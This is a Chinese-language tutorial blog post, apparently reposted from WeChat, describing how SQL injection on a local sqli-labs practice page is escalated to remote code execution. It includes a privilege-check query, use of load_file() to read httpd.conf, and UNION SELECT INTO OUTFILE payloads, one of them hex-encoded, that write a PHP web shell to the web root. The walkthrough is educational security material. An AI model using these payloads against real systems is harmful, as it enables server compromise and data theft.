记一次SQL注入到RCE的漏洞挖掘
2023-4-17 14:55:7 Author: HACK学习呀(查看原文) 阅读量:23 收藏

SQL 注入是一种针对使用 SQL(结构化查询语言)数据库的 Web 应用程序的攻击。攻击涉及将恶意 SQL 代码注入 Web 应用程序的输入字段,然后可以由应用程序的数据库执行。

SQL 注入攻击旨在利用应用程序代码中的漏洞,使攻击者能够访问敏感信息或操纵数据库。例如,攻击者可以使用 SQL 注入窃取用户凭据并修改或删除数据

所以有一个不同的场景,如果当前数据库用户有写权限,我们可以获得 RCE(远程代码执行)

易受攻击的应用程序:http://localhost/sqlilabs/practice/example1.php?id=1

我要检查当前的数据库用户名以及用户是否有写权限

我将简单地调用用户函数user()来打印当前数据库的用户名

它会像那样输出

所以我们必须检查用户 root 是否有写权限

我们将执行查询“(select group_concat(grantee,is_grantable,0x3c62723e) from information_schema.user_privileges)”

我得到了这样的输出

所以我们现在有写入权限,我们可以使用outfile在服务器上写入

还有两件事 1:我们需要一个服务器路径 2:一个可写目录

对于路径泄露,我们可以尝试读取服务器上的配置文件,如httpd.conf 或 access_log等 ,这取决于 我们找到httpd.conf文件的服务器 ,我们可以获得服务器路径

现在我们将使用load_file()函数来读取“ httpd.conf”

读取配置文件后我们得到了服务器路径

现在我们可以使用outfile写入以在服务器上获取 RCE

http://localhost/sqlilabs/practice/example1.php?id=1' and 0 union select 1,<?php system($_GET['cmd']); ?>,3 进入输出文件 '/opt/lampp/htdocs/shell.php' - +

如果它不起作用尝试使用十六进制编码

http://localhost/sqlilabs/practice/example1.php?id=1' and 0 union select 1,0x3c3f7068702073797374656d28245f4745545b27636d64275d293b203f3e,3 into outfile '/opt/lampp/htdocs/shell.php' - +

推荐阅读:

记一次15000美金赏金的特斯拉内部账户的账户接管

干货 | 如何通过HackerOne快速提升挖洞水平和经验

记一次赏金10000美金的漏洞挖掘(从.git泄露到RCE)

实战 | 记一次SQL到接口的SSRF

2023年零基础+进阶系统化白帽黑客学习 | 4月份最新版


文章来源: http://mp.weixin.qq.com/s?__biz=MzI5MDU1NDk2MA==&mid=2247512064&idx=1&sn=c1d0173a9a95873cfb6b9b3f87400324&chksm=ec1ce53fdb6b6c29663692de2a08853e419a3b2b690e23fcda80b6ffcba35b7dee3a718b7d17#rd
如有侵权请联系:admin#unsafe.sh